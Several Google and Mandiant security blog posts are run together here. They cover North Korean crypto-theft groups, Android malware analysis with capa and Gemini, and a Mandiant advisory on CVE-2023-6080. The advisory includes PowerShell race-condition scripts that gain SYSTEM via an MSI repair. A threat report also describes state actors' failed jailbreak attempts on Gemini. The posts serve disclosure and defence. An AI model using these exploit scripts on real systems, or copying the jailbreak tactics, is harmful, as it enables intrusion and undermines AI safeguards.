Financially motivated operations are broadly prevalent among threat actors linked to the Democratic People's Republic of Korea (DPRK). These include groups focused on generating revenue for the regime as well as those that use the illicit funds to support their intelligence-gathering efforts. Cybercrime focuses on the cryptocurrency sector and blockchain-related platforms, leveraging tactics including but not limited to the creation and deployment of malicious applications posing as cryptocurrency trading platforms and the airdropping of malicious non-fungible tokens (NFTs) that redirect the user to wallet-stealing phishing websites. A March 2024 United Nations (UN) report estimated North Korean cryptocurrency theft between 2017 and 2023 at approximately $3 billion. 

APT38

APT38, a financially motivated group aligned with the Reconnaissance General Bureau (RGB), was responsible for the attempted theft of vast sums of money from institutions worldwide, including via compromises targeting SWIFT systems. Public reporting has associated the group with the use of money mules and casinos to withdraw and launder funds from fraudulent ATM and SWIFT transactions. In publicly reported heists alone, APT38's attempted thefts from financial institutions totaled over $1.1 billion USD, and by conservative estimates, successful operations have amounted to over $100 million USD. The group has also deployed destructive malware against target networks to render them inoperable following theft operations. While APT38 now appears to be defunct, we have observed evidence of its operators regrouping into other clusters, including those heavily targeting cryptocurrency and blockchain-related entities and other financials. 

UNC1069 (CryptoCore), UNC4899 (TraderTraitor)

Limited indicators suggest that threat clusters GTIG tracks as UNC1069 (publicly referred to as CryptoCore) and UNC4899 (also reported as TraderTraitor) are successors to the now-defunct APT38. These clusters focus on financial gain, primarily by targeting cryptocurrency and blockchain entities. In December 2024, a joint statement released by the US FBI, DC3, and National Police Agency of Japan (NPA) reported on TraderTraitor's theft of cryptocurrency then valued at $308 million USD from a Japan-based company.

APT43 (Kimsuky)

APT43, a prolific cyber actor whose collection requirements align with the mission of the RGB, funds itself through cybercrime operations to support its primary mission of collecting strategic intelligence, in contrast to groups focused primarily on revenue generation like APT38. While the group's espionage targeting is broad, it has demonstrated a particular interest in foreign policy and nuclear security, leveraging moderately sophisticated technical capabilities coupled with aggressive social engineering tactics against government organizations, academia, and think tanks. Meanwhile, APT43's financially motivated operations focus on stealing and laundering cryptocurrency to buy operational infrastructure. 

UNC3782

UNC3782, a suspected North Korean threat actor active since at least 2022, conducts both financial crime operations against the cryptocurrency sector and espionage activity, including the targeting of South Korean organizations attempting to combat cryptocurrency-related crimes, such as law firms and related government and media entities. UNC3782 has targeted users on cryptocurrency platforms including Ethereum, Bitcoin, Arbitrum, Binance Smart Chain, Cronos, Polygon, TRON, and Solana; Solana in particular constitutes a target-rich environment for criminal actors due to the platform's rapid growth. 

APT45 (Andariel)

APT45, a North Korean cyber operator active since at least 2009, has conducted espionage operations focusing on government, defense, nuclear, and healthcare and pharmaceutical entities. The group has also expanded its remit to financially motivated operations, and we suspect that it engaged in the development of ransomware, distinguishing it from other DPRK-nexus actors. 

DPRK IT Workers 

DPRK IT workers pose as non-North Korean nationals seeking employment at a wide range of organizations globally to generate revenue for the North Korean regime, enabling it to evade sanctions and fund its weapons of mass destruction (WMD) and ballistic missiles programs. IT workers have also increasingly leveraged their privileged access at employer organizations to engage in or enable malicious intrusion activity and, in some cases, extort those organizations with threats of data leaks or sales of proprietary company information following the termination of their employment.,

While DPRK IT worker operations are widely reported to target US companies, they have increasingly expanded to Europe and other parts of the world. Tactics to evade detection include the use of front companies and services of "facilitators," non-North Korean individuals who provide services such as money and/or cryptocurrency laundering, assistance during the hiring process, and receiving and hosting company laptops to enable the workers remote access in exchange for a percentage of the workers' incomes.

A Comprehensive Approach is Required

We believe tackling this challenge will require a new and stronger approach recognizing the cybercriminal threat as a national security priority requiring international cooperation. While some welcome enhancements have been made in recent years, more must—and can—be done. The structure of the cybercrime ecosystem makes it particularly resilient to takedowns. Financially motivated actors tend to specialize in a single facet of cybercrime and regularly work with others to accomplish bigger schemes. While some actors may repeatedly team up with particular partners, actors regularly have multiple suppliers (or customers) for a given service. 

If a single ransomware-as-a-service provider is taken down, many others are already in place to fill in the gap that has been created. This resilient ecosystem means that while individual takedowns can disrupt particular operations and create temporary inconveniences for cybercriminals, these methods need to be paired with wide-ranging efforts to improve defense and crack down on these criminals' ability to carry out their operations. We urge policymakers to consider taking a number of steps:

• Demonstrably elevate cybercrime as a national security priority: Governments must recognize cybercrime as a pernicious national security threat and allocate resources accordingly. This includes prioritizing intelligence collection and analysis on cybercriminal organizations, enhancing law enforcement capacity to investigate and prosecute cybercrime, and fostering international cooperation to dismantle these transnational networks.
• Strengthen cybersecurity defenses: Policymakers should promote the adoption of robust cybersecurity measures across all sectors, particularly critical infrastructure. This includes incentivizing the implementation of security best practices, investing in research and development of advanced security technologies, enabling digital modernization and uptake of new technologies that can advantage defenders, and supporting initiatives that enhance the resilience of digital systems against attacks and related deceptive practices.
• Disrupt the cybercrime ecosystem: Targeted efforts are needed to disrupt the cybercrime ecosystem by targeting key enablers such as malware developers, bulletproof hosting providers, and financial intermediaries such as cryptocurrency exchanges. This requires a combination of legal, technical, and financial measures to dismantle the infrastructure that supports cybercriminal operations and coordinated international efforts to enable the same.
• Enhance international cooperation: cybercrime transcends national borders, necessitating strong international collaboration to effectively combat this threat. Policymakers should prioritize and resource international frameworks for cyber threat information sharing, joint investigations, and coordinated takedowns of cybercriminal networks, including by actively contributing to the strengthening of international organizations and initiatives dedicated to combating cybercrime, such as the Global Anti-Scams Alliance (GASA). They should also prioritize collective efforts to publicly decry malicious cyber activity through joint public attribution and coordinated sanctions, where appropriate. 
• Empower individuals and businesses: Raising awareness about cyber threats and promoting cybersecurity education is crucial to building a resilient society. Policymakers should support initiatives that educate individuals and businesses about online safety, encourage the adoption of secure practices, empower service providers to take action against cybercriminals including through enabling legislation, and provide resources for reporting and recovering from cyberattacks.
• Elevate strong private sector security practices: Ransomware and other forms of cybercrime predominantly exploit insecure, often legacy technology architectures. Policymakers should consider steps to prioritize technology transformation, including the adoption of technologies/products with a strong security track record; diversifying vendors to mitigate risk resulting from overreliance on a single technology; and requiring interoperability across the technology stack.

aside_block

<ListValue: [StructValue([('title', 'The Evolution of Cybercrime'), ('body', <wagtail.rich_text.RichText object at 0x3e30287baf70>), ('btn_text', 'Watch now'), ('href', 'https://www.youtube.com/watch?v=NtANWZPHUak'), ('image', <GAEImage: evolution of cybercrime>)])]>

About the Authors

Google Threat Intelligence Group brings together the Mandiant Intelligence and Threat Analysis Group (TAG) teams, and focuses on identifying, analyzing, mitigating, and eliminating entire classes of cyber threats against Alphabet, our users, and our customers. Our work includes countering threats from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cybercrime networks. We apply our intelligence to improve Google's defenses and protect our users and customers.

Mobile devices have become the go-to for daily tasks like online banking, healthcare management, and personal photo storage, making them prime targets for malicious actors seeking to exploit valuable information. Bad actors often turn to publishing and distributing malware via apps as a lucrative channel for generating illegal and/or unethical profits. 

Android takes a multi-layered approach to combating malware to help keep users safe (more later in the post), but while we continuously strengthen our defenses against malware, threat actors are persistently updating their malware to evade detection. Malware developers used to complete their entire malicious aggression using the common Android app development toolkits in Java, which is easier to detect by reversing the Java bytecode. In recent years, malware developers are increasing the use of native code to obfuscate some of the critical malware behaviors and putting their hopes on obscuration in compiled and symbol-stripped Executable and Linkable Format (ELF) files, which can be more difficult and time-consuming to reveal their true intentions.

To combat these new challenges, Android Security and Privacy Team is partnering with Mandiant FLARE to extend the open-source binary analysis tool capa to analyze native ARM ELF files targeting Android. Together, we improved existing and developed new capa rules to detect capabilities observed in Android malware, used the capa rule matches to highlight the highly suspicious code in native files, and prompted Gemini with the highlighted code behaviors for summarization to enhance our review processes for faster decisions.

In this blog post, we will describe how we leverage capa behavior-detection capabilities and state-of-art Gemini summarization by:

• Showcasing a malware sample that used various anti-analysis tricks to evade detections

• Explaining how our existing and new capa rules identify and highlighted those behaviors

• Presenting how Gemini summarizes the highlighted code for security reviews

An Illegal Gambling App Under a Music App Façade

Google Play Store ensures all published apps conform to local laws and regulations. This includes gambling apps, which are prohibited or require licenses in some areas. Developing and distributing illegal gambling apps in such areas can generate significant illicit profits, which sometimes is associated with organized crimes. To bypass Google Play Store's security-screening procedures, some gambling apps disguise themselves with harmless façades like music or casual games. These apps only reveal their gambling portals in certain geographic markets using various anti-analysis tricks. Unfortunately, dynamic analysis, such as emulation and sandbox detonation, relies on specific device configurations, and threat actors keep trying different combinations of settings to evade our detections. It's an ongoing game of cat and mouse!

In response, the Android Security and Privacy Team has evolved static analysis techniques, such as those that evaluate the behavior of a complete program and all its conditional logic. So, let's describe an app that violated Google Play Store rules and show how we can better detect and block other apps like it.

We received reports of a music app opening gambling websites for users in certain geographical areas. It used an interesting trick of hiding key behaviors in a native ELF file that has most symbols (except the exported ones) stripped and is loaded at runtime to evade detection.

When we decompiled the app into Java source code, using a tool like JEB Decompiler, we found that the app has a song-playing functionality as shown in "MainActivity" of Figure 1. This looks like benign behavior and is fully within the limits of Google Play Store policies.

However, there was a small region of initialization code that loads an ELF file as soon as the app is initialized when calling the onCreate function, as shown in com.x.y.z class of Figure 1. To fully understand the behavior of the entire app, we also had to reverse engineer the ELF file, which requires a completely different toolset.

Figure 1: How the app applies anti-analysis techniques

Using a tool like Ghidra, we decompiled the ARM64 ELF file into C source code and found that this app estimates the user's geographic location using timezone information ("Code Section 1" in Figure 1). The code implements a loop that compares the user's timezone with a list of target regions ("Data Section" in Figure 1).

If the user's location matches a value in the list ("Data Section" in Figure 1), this malware:

1. Downloads an encrypted DEX file from a remote server ("Code Section 2" in Figure 1)

2. Decrypts the downloaded DEX file ("Code Section 3" in Figure 1)

3. Loads the decrypted DEX file into memory ("Code Section 4" in Figure 1)

The loaded DEX file uses further server-side cloaking techniques and finally loads a gambling website (Figure 3) to the app users. Compared to the app icon in Figure 2, it is an obvious mismatch of the app's advertised functionality.

Figure 2: The app icon as published

Figure 3: The loaded gambling website in app

While there are many detection technologies, such as YARA, available for identifying malware distributed in ELF files, they are less resilient to app updates or variations introduced by threat actors. Fortunately, the Android Security and Privacy Team has developed new techniques for detecting malicious Android apps by inspecting their native ELF components. For example, in the gambling app in Figure 3, there are many API calls dynamically resolved via the Java Native Interface (JNI) that interact with the Android runtime. Our detection systems recognized these cross-runtime interactions and reason about their intent. We've enumerated behaviors commonly seen in Android malware, such as making ptrace API calls, extracting device information, downloading code from remote servers to local storage, and making various cryptographic operations via JNI, turning them into capa detections we can use to identify and block Google Play Store threats.

Let's now talk a little more about how this works.

Android capa Rules

capa is a tool that detects capabilities in executable files. You run it against a compiled program, and it tells you what it thinks the program can do. For example, capa might suggest that a file is a backdoor, is capable of installing services, or relies on HTTP to communicate.

Mandiant FLARE extended capa to support BinExport2, an architecture agnostic representation of disassembled programs. This enables capa to match capabilities for additional architectures and file formats, such as those supported by Ghidra and its BinExport2 plugin, with an initial focus on ARM64 ELF files. The Android Security and Privacy Team then created new capa rules focused specifically on detecting capabilities observed in ARM64 ELF files used by various Android malware samples. These proprietary rules alongside capa's open-source rules are used to detect malware capabilities as part of internal Android malware analysis pipelines.

Referring back to the gambling app in Figure 3, the following Google proprietary rules and open-source capa rules matched the malicious functions performing cloaking techniques for further inspection.

Proprietary rules:

• Make ptrace API calls

• Extract device configuration information via JNI on Android

• Extract timezone via JNI on Android

• Encode or decode data using Base64 via JNI on Android

• Encrypt or decrypt data using Cipher API via JNI on Android

Open-source capa rules:

• Create or open file

• Write file on Linux

• Read file on Linux

• Check file permission on Linux

• Create thread

• Reference Base64 string

Instead of browsing hundreds of thousands lines of obfuscated code, our analysts were able to quickly identify the evidence of the app's wrong-doings using the function addresses matching those rules and enforced on the app.

Gemini Summaries of capa Rule Matches

Safeguarding the Android ecosystem, our Android malware analysis pipelines scan millions of ELF files in-depth every day, each one containing thousands to millions of lines in their decompiled codes. On top of the fast-evolving Gemini capabilities in malware analysis, capa rules are able to select the most interesting code for Gemini summarization, with sharpened focus on a much smaller set of the most suspicious functions.

Figure 4: How capa rules and Gemini help our reviewers and automation

We asked Gemini to summarize the functions matched on capa rules from the earlier gambling app with the following prompt:

You are a world-class Android reverse engineer with malware analysis specialities. You are given a few functions from an ARM/AArch64 ELF file as part of an Android App, with their decompiled pseudo-C codes. You need to analyze these functions to

        1. summarize what these functions try to achieve

        2. decide whether any of them has code/behavior patterns that would be found in Android malware.

{some more instructions…}

…

These functions are decompiled by Ghidra into pseudo-C format as follows:

[function_1 content]

[function_2 content]

…

In your response, please give your overall verdict assessing the risk level using HIGH / MEDIUM / LOW in the beginning, and explain your rationale for each potential malicious behavior.

Gemini responded with the following suggestions:

VERDICT: HIGH RISK

The provided Android application code exhibits several concerning behaviors strongly indicative of malicious intent. The risk level is assessed as HIGH due to the presence of multiple red flags consistent with sophisticated Android malware techniques. The analysis below details the specific malicious behavior patterns observed:

1. Dynamic Code Loading (HIGH): The function comeOn demonstrates a pattern of dynamically loading and executing code. The app fetches files (potentially DEX or ELF) using getCacheFilePath and downloadFile, then attempts to execute them using getDexClassLoader. This is a classic technique for delivering malicious payloads after initial installation, allowing the malware to easily update its functionality and evade static analysis. The use of custom decryption (decryptFile, decryptAES) further enhances the obfuscation and anti-analysis capabilities, indicating a deliberate attempt to conceal the loaded code's true nature.

2. Custom Decryption and Execution (HIGH): The decryptFile function performs custom decryption of a file, likely to obfuscate the malicious payload. The decryption utilizes an AES algorithm, which adds a layer of complexity to the reversal process. In combination with the dynamic loading, this points strongly towards a sophisticated malware strategy. The decrypted file is then written to disk (fopen, fwrite) and executed using a custom class loader.

3. Time Cloaking (MEDIUM): thread_function incorporates time-based cloaking. It checks the user's timezone (getTimeZoneInfo) and potentially alters behavior if the timezone is not "America/Sao Paulo".  More importantly, it appends a timestamp ("?time=" + current time) to a string used for downloading further files. This suggests an attempt to evade detection by changing behavior based on the device's time and potentially making analysis more challenging by dynamically creating different network requests.

4. Network Cloaking (MEDIUM): thread_function exhibits additional cloaking behavior, though details are limited. The function interacts with network resources to download additional resources, showing its network-active nature. The data used in network operations are likely obfuscated through string manipulation and URL obfuscation, making identification and analysis difficult. The precise cloaking mechanisms used are not fully clear from the decompiled code, but the presence of this behavior is a significant concern.

5. Obfuscation Techniques (HIGH): The entire codebase uses extensive obfuscation techniques. The code is heavily reliant on complex data structures (deques, hash tables, trees) and intricate control flow. Function and variable names are nonsensical, hindering analysis. The use of multiple layers of indirection, combined with aggressive heap memory management (operator_new, operator_delete), makes the code difficult to understand and analyze. These obfuscation methods are typical of malware aiming to evade reverse engineering.

6. Anti-Debugging/Anti-Analysis Techniques (HIGH): The JNI_OnLoad function includes a call to ptrace(PTRACE_TRACEME, 0, 0, 0). This is a clear indicator of an attempt to detect debugging or analysis tools. If a debugger is attached, this function's behavior will likely differ; it could crash, stall the execution, or even hide its malicious code.

Conclusion:

The combination of dynamic code loading, custom decryption, sophisticated obfuscation, and anti-debugging techniques creates a high likelihood of malicious activity. The incomplete understanding of the role of several custom functions further aggravates the risk. The app's behavior is heavily contingent on received data and time-sensitive factors, raising serious concerns about its potential for wide-ranging malicious acts. Immediate action should be taken to contain and investigate this application further. A detailed sandbox analysis is critical to identify any network communications, file system manipulation, or other abusive activities.

As seen in the Gemini output, the Android ELF behaviors are explained clearly on the functions matched on capa rules.

In this particular example, Gemini helped to:

• Accentuate the function call sequences to perform dynamic code loading, where our analysts can easily inspect the key function calls getCacheFilePath and getDexClassLoader

• Identify the timezone extraction with the additional URL parameter hint, where our analysts may try to probe the malicious payload quickly and accurately

• Describe more potential suspicious behaviors (e.g. getDexClassLoader JNI call, URL obfuscation) for further rule-writing ideas

capa rules in Android together with Gemini summarization shows great potential for further malware detection with more advanced techniques. Our analysts are closely monitoring the malware trends and techniques in the market and writing up-to-date capa rules to catch the bad actors in the wild.

Android's Multi-Layered Security Approach

Android’s ever-evolving, multi-layered security approach includes integrating advanced features and working with developers and device implementers to keep the Android platform and ecosystem safe. This includes, but is not limited to:

• Advanced built-in protections: Google Play Protect automatically scans every app on Android devices with Google Play Services, no matter the download source. This built-in protection, enabled by default, provides crucial security against malware and unwanted software. Google Play Protect scans more than 200 billion apps daily and performs real-time scanning at the code-level on novel apps to combat emerging and hidden threats, like polymorphic malware. In 2024, Google Play Protect’s real-time scanning identified more than 13 million new malicious apps from outside Google Play. 

• Google Play and developer protections from malware: To create a trusted experience for everyone on Google Play, we use our SAFE principles as a guide, incorporating multi-layered protections that are always evolving to help keep Google Play safe. These protections start with the developers themselves, who play a crucial role in building secure apps. We provide developers with best-in-class tools, best practices, and on-demand training resources for building safe, high-quality apps. Every app undergoes rigorous review and testing, with only approved apps allowed to appear in the Play Store. Before a user downloads an app from Play, users can explore its user reviews, ratings, and Data safety section on Google Play to help them make an informed decision. 

• Engagement with the security research community: Google works closely with the security community on multiple levels, including the App Defense Alliance, to advance app safety standards. Android also collaborates with Google Threat Intelligence Group (GTIG) to address emerging threats and safeguard Android users worldwide.

Equipped with the fast-evolving Gemini, our analysts are able to spend less time on those sophisticated samples, minimising the exposure for malicious apps and ensuring the safety of Android ecosystems.

Acknowledgement

Special thanks to Willi Ballenthin, Yannis Gasparis, Mike Hunhoff, and Moritz Raabe for their support.

Written By: Jacob Paullus, Daniel McNamara, Jake Rawlins, Steven Karschnia

Executive Summary

• Mandiant exploited flaws in the Microsoft Software Installer (MSI) repair action of Lakeside Software's SysTrack installer to obtain arbitrary code execution.

• An attacker with low-privilege access to a system running the vulnerable version of SysTrack could escalate privileges locally.

• Mandiant responsibly disclosed this vulnerability to Lakeside Software, and the issue has been addressed in version 11.0.

Introduction

Building upon the insights shared in a previous Mandiant blog post, Escalating Privileges via Third-Party Windows Installers, this case study explores the ongoing challenge of securing third-party Windows installers. These vulnerabilities are rooted in insecure coding practices when creating Microsoft Software Installer (MSI) Custom Actions and can be caused by references to missing files, broken shortcuts, or insecure folder permissions. These oversights create gaps that inadvertently allow attackers the ability to escalate privileges.

As covered in our previous blog post, after software is installed with an MSI file, Windows caches the MSI file in the C:\Windows\Installer folder for later use. This allows users on the system to access and use the "repair" feature, which is intended to address various issues that may be impacting the installed software. During execution of an MSI repair, several operations (such as file creation or execution) may be triggered from an NT AUTHORITY\SYSTEM context, even if initiated by a low-privilege user, thereby creating privilege escalation opportunities.

This blog post specifically focuses on the discovery and exploitation of CVE-2023-6080, a local privilege escalation vulnerability that Mandiant identified in Lakeside Software's SysTrack Agent version 10.7.8.

Exploiting the SysTrack Installer

Mandiant began by using Microsoft's Process Monitor (ProcMon) to analyze and review file operations executed during the repair process of SysTrack's MSI. While running the repair process as a low-privileged user, Mandiant observed file creation and execution within the user's %TEMP% folder from MSIExec.exe.

Figure 1: MSIExec.exe copying and executing .tmp file in user's %TEMP% folder

Each time Mandiant ran the repair functionality, MSIExec.exe wrote a new .tmp file to the %TEMP% folder using a formula-based name, and then executed it. Mandiant discovered, through dynamic analysis of the installer, that the name generated by the repair function would consist of the string "wac" followed by four randomly chosen hex characters (0-9, A-F). With this naming scheme, there were 65,535 possible filename options.

Due to the %TEMP% folder being writable by a low-privilege user, Mandiant tested the behavior of the repair tool when all possible filenames already existed within the %TEMP% folder. Mandiant created a PowerShell script to copy an arbitrary test executable to each possible file name in the range of wac0000.tmp to wacFFFF.tmp.

# Path to the permutations file $csvFilePath = ‘.\permutations.csv’ # Path to the executable $exePath = ‘.\test.exe’ # Target directory (using the system’s temp directory) $targetDirectory = [System.IO.Path]::GetTempPath() # Read the csv file content $csvContent = Get-Content -Path $csvFilePath # Split the content into individual values $values = $csvContent -split “,” # Loop through each value and copy the exe to the target directory with the new name Foreach ($value in $values) { $newFilePath = Join-Path -Path $targetDirectory -ChildPath ($value + “.tmp”) Copy-Item -Path $exePath -Destination $newFilePath } Write-Output “Copy operation completed to $targetDirectory”

Figure 2: Creating all possible .tmp files in %TEMP%

Figure 3: Excerpt of .tmp files created in %TEMP%

After filling the previously identified namespace, Mandiant reran the MSI repair function to observe its subsequent behavior. Upon review of the ProcMon output, Mandiant observed that when the namespace was filled, the application would failover to an incrementing filename pattern. The pattern began with wac1.tmp and incremented the number each time in a predictable pattern, if the previous file existed. To prove this theory, Mandiant manually created wac1.tmp and wac2.tmp, then observed the MSI repair action in ProcMon. When running the MSI repair function, the resulting filename was wac3.tmp.

Figure 4: MSIExec.exe writing and executing a predicted .tmp file

Additionally, Mandiant observed that there was a small delay between the file write action and the file execution action, which could potentially result in a race condition vulnerability. Since Mandiant could now force the program to use a predetermined filename, Mandiant wrote another PowerShell script designed to attempt to win the race condition by copying a file (test.exe) to the %TEMP% folder, using the predicted filename, between the file write and execution in order to overwrite the file created by MSIExec.exe. In this test, test.exe was a simple proof-of-concept executable that would start cmd.exe.

while ($true) { if (Test-Path -Path "C:\Users\USER\AppData\Local\Temp\wac3.tmp") { Copy-Item -Path "C:\Users\USER\Desktop\test.exe" -Destination "C:\Users\USER\AppData\Local\Temp\wac3.tmp" -Force } }

Figure 5: PowerShell race condition script to copy arbitrary file into %TEMP%

With the %TEMP% folder prepared with the wac1.tmp and wac2.tmp files created, Mandiant ran both the PowerShell script and MSI repair action targeting wac3.tmp. With the race condition script running, execution of the repair action resulted in the test.exe file overwriting the intended binary and subsequently being executed by MSIExec.exe, opening cmd.exe as NT AUTHORITY\SYSTEM.

Figure 6: Obtaining NT\ AUTHORITY SYSTEM command prompt

Defensive Considerations

As discussed in Mandiant's previous blog post, misconfigured Custom Actions can be trivial to find and exploit, making them a significant security risk for organizations. It is essential for software developers to follow secure coding practices and review their implemented Custom Actions to prevent attackers from hijacking high-privilege operations triggered by the MSI repair functionality. Refer to the original blog post for general best practices when configuring Custom Actions. In discovery of CVE-2023-6080, Mandiant identified several misconfigurations and oversights that allowed for privilege escalation to NT AUTHORITY\SYSTEM.

The SysTrack MSI performed file operations including creation and execution in the user's %TEMP% folder, which provides a low-privilege user the opportunity to alter files being actively used in a high-privilege context. Software developers should keep folder permissions in mind and ensure all privileged file operations are performed from folders that are appropriately secured. This can include altering the read/write permissions for the folder, or using built-in folders such as C:\Program Files or C:\Program Files (x86), which are inherently protected from low-privilege users.

Additionally, the software's filename generation schema included a failover mechanism that allowed an attacker to force the application into using a predetermined filename. When using randomized filenames, developers should use a sufficiently large length to ensure that an attacker cannot exhaust all possible filenames and force the application into unexpected behavior. In this case, knowing the target filename before execution made it significantly easier to beat the race condition, as opposed to dynamically identifying and replacing the target file between the time of its creation by MSIExec.exe and the time of its execution.

Something security professionals must also consider is the safety of the programs running on corporate machines. Many approved applications may inadvertently contain security vulnerabilities that increase the risk in our environments. Mandiant recommends that companies consider auditing the security of their individual endpoints to ensure that defense in depth is maintained at an organizational level. Furthermore, where possible, companies should monitor the spawning of administrative shells such as cmd.exe and powershell.exe in an elevated context to alert on possible privilege escalation attempts.

A Final Word

Domain privilege escalation is often the focus of security vendors and penetration tests, but it is not the only avenue for privilege escalation or compromise of data integrity in a corporate environment. Compromise of integrity on a single system can allow an attacker to mount further attacks throughout the network; for example, the Network Access Account used by SCCM can be compromised through a single workstation and when misconfigured can be used to escalate privileges within the domain and pivot to additional systems within the network.

Mandiant offers dedicated endpoint security assessments, during which customer endpoints are tested from multiple contexts, including the perspective of an adversary with low-privilege access attempting to escalate privileges. For more information about Mandiant's technical consulting services, including comprehensive endpoint security assessments, visit our website.

We would like to extend a special thanks to Andrew Oliveau, who was a member of the testing team that discovered this vulnerability during his time at Mandiant.

CVE-2023-6080 Disclosure Timeline

• June 13, 2024 - Vulnerability reported to Lakeside Software

• July 1, 2024 - Lakeside Software confirmed the vulnerability

• August 7, 2024 - Confirmed vulnerability fixed in version 11.0

Rapid advancements in artificial intelligence (AI) are unlocking new possibilities for the way we work and accelerating innovation in science, technology, and beyond. In cybersecurity, AI is poised to transform digital defense, empowering defenders and enhancing our collective security. Large language models (LLMs) open new possibilities for defenders, from sifting through complex telemetry to secure coding, vulnerability discovery, and streamlining operations. However, some of these same AI capabilities are also available to attackers, leading to understandable anxieties about the potential for AI to be misused for malicious purposes. 

Much of the current discourse around cyber threat actors' misuse of AI is confined to theoretical research. While these studies demonstrate the potential for malicious exploitation of AI, they don't necessarily reflect the reality of how AI is currently being used by threat actors in the wild. To bridge this gap, we are sharing a comprehensive analysis of how threat actors interacted with Google's AI-powered assistant, Gemini. Our analysis was grounded by the expertise of Google's Threat Intelligence Group (GTIG), which combines decades of experience tracking threat actors on the front lines and protecting Google, our users, and our customers from government-backed attackers, targeted 0-day exploits, coordinated information operations (IO), and serious cyber crime networks.

We believe the private sector, governments, educational institutions, and other stakeholders must work together to maximize AI's benefits while also reducing the risks of abuse. At Google, we are committed to developing responsible AI guided by our principles, and we share resources and best practices to enable responsible AI development across the industry. We continuously improve our AI models to make them less susceptible to misuse, and we apply our intelligence to improve Google's defenses and protect users from cyber threat activity. We also proactively disrupt malicious activity to protect our users and help make the internet safer. We share our findings with the security community to raise awareness and enable stronger protections for all. 

aside_block

<ListValue: [StructValue([('title', 'Adversarial Misuse of Generative AI'), ('body', <wagtail.rich_text.RichText object at 0x3e302624be50>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/adversarial-misuse-generative-ai.pdf'), ('image', <GAEImage: adversarial gen AI cover>)])]>

Executive Summary

Google Threat Intelligence Group (GTIG) is committed to tracking and protecting against cyber threat activity. We relentlessly defend Google, our users, and our customers by building the most complete threat picture to disrupt adversaries. As part of that effort, we investigate activity associated with threat actors to protect against malicious activity, including the misuse of generative AI or LLMs. 

This report shares our findings on government-backed threat actor use of the Gemini web application. The report encompasses new findings across advanced persistent threat (APT) and coordinated information operations (IO) actors tracked by GTIG. By using a mix of analyst review and LLM-assisted analysis, we investigated prompts by APT and IO threat actors who attempted to misuse Gemini.

Advanced Persistent Threat (APT) refers to government-backed hacking activity, including cyber espionage and destructive computer network attacks.  

Information Operations (IO) attempt to influence online audiences in a deceptive, coordinated manner. Examples include sockpuppet accounts and comment brigading. 

GTIG takes a holistic, intelligence-driven approach to detecting and disrupting threat activity, and our understanding of government-backed threat actors and their campaigns provides the needed context to identify threat enabling activity. We use a wide variety of technical signals to track government-backed threat actors and their infrastructure, and we are able to correlate those signals with activity on our platforms to protect Google and our users. By tracking this activity, we’re able to leverage our insights to counter threats across Google platforms, including disrupting the activity of threat actors who have misused Gemini. We also actively share our insights with the public to raise awareness and enable stronger protections across the wider ecosystem.

Our analysis of government-backed threat actor use of Gemini focused on understanding how threat actors are using AI in their operations and if any of this activity represents novel or unique AI-enabled attack or abuse techniques. Our findings, which are consistent with those of our industry peers, reveal that while AI can be a useful tool for threat actors, it is not yet the game-changer it is sometimes portrayed to be. While we do see threat actors using generative AI to perform common tasks like troubleshooting, research, and content generation, we do not see indications of them developing novel capabilities. 

Our key findings include:

• We did not observe any original or persistent attempts by threat actors to use prompt attacks or other machine learning (ML)-focused threats as outlined in the Secure AI Framework (SAIF) risk taxonomy. Rather than engineering tailored prompts, threat actors used more basic measures or publicly available jailbreak prompts in unsuccessful attempts to bypass Gemini's safety controls. 
• Threat actors are experimenting with Gemini to enable their operations, finding productivity gains but not yet developing novel capabilities. At present, they primarily use AI for research, troubleshooting code, and creating and localizing content. 
• APT actors used Gemini to support several phases of the attack lifecycle, including researching potential infrastructure and free hosting providers, reconnaissance on target organizations, research into vulnerabilities, payload development, and assistance with malicious scripting and evasion techniques. Iranian APT actors were the heaviest users of Gemini, using it for a wide range of purposes. Of note, we observed limited use of Gemini by Russian APT actors during the period of analysis.
• IO actors used Gemini for research; content generation including developing personas and messaging; translation and localization; and to find ways to increase their reach. Again, Iranian IO actors were the heaviest users of Gemini, accounting for three quarters of all use by IO actors. We also observed Chinese and Russian IO actors using Gemini primarily for general research and content creation. 
• Gemini's safety and security measures restricted content that would enhance adversary capabilities as observed in this dataset. Gemini provided assistance with common tasks like creating content, summarizing, explaining complex concepts, and even simple coding tasks. Assisting with more elaborate or explicitly malicious tasks generated safety responses from Gemini. 
• Threat actors attempted unsuccessfully to use Gemini to enable abuse of Google products, including researching techniques for Gmail phishing, stealing data, coding a Chrome infostealer, and bypassing Google's account verification methods. 

Rather than enabling disruptive change, generative AI allows threat actors to move faster and at higher volume. For skilled actors, generative AI tools provide a helpful framework, similar to the use of Metasploit or Cobalt Strike in cyber threat activity. For less skilled actors, they also provide a learning and productivity tool, enabling them to more quickly develop tools and incorporate existing techniques. However, current LLMs on their own are unlikely to enable breakthrough capabilities for threat actors. We note that the AI landscape is in constant flux, with new AI models and agentic systems emerging daily. As this evolution unfolds, GTIG anticipates the threat landscape to evolve in stride as threat actors adopt new AI technologies in their operations.

AI-Focused Threats

Attackers can use LLMs in two ways. One way is attempting to leverage LLMs to accelerate their campaigns (e.g., by generating code for malware or content for phishing emails). The overwhelming majority of activity we observed falls into this category. The second way attackers can use LLMs is to instruct a model or AI agent to take a malicious action (e.g., finding sensitive user data and exfiltrating it). These risks are outlined in Google's Secure AI Framework (SAIF) risk taxonomy. 

We did not observe any original or persistent attempts by threat actors to use prompt attacks or other AI-specific threats. Rather than engineering tailored prompts, threat actors used more basic measures, such as rephrasing a prompt or sending the same prompt multiple times. These attempts were unsuccessful.

Jailbreak Attempts: Basic and Based on Publicly Available Prompts

We observed a handful of cases of low-effort experimentation using publicly available jailbreak prompts in unsuccessful attempts to bypass Gemini's safety controls. Threat actors copied and pasted publicly available prompts and appended small variations in the final instruction (e.g., basic instructions to create ransomware or malware). Gemini responded with safety fallback responses and declined to follow the threat actor's instructions. 

In one example of a failed jailbreak attempt, an APT actor copied publicly available prompts into Gemini and appended basic instructions to perform coding tasks. These tasks included encoding text from a file and writing it to an executable and writing Python code for a distributed denial-of-service (DDoS) tool. In the former case, Gemini provided Python code to convert Base64 to hex, but provided a safety filtered response when the user entered a follow-up prompt that requested the same code as a VBScript.

The same group used a different publicly available jailbreak prompt to request Python code for DDoS. Gemini provided a safety filtered response stating that it could not assist, and the threat actor abandoned the session and did not attempt further interaction.

What is an AI jailbreak? 

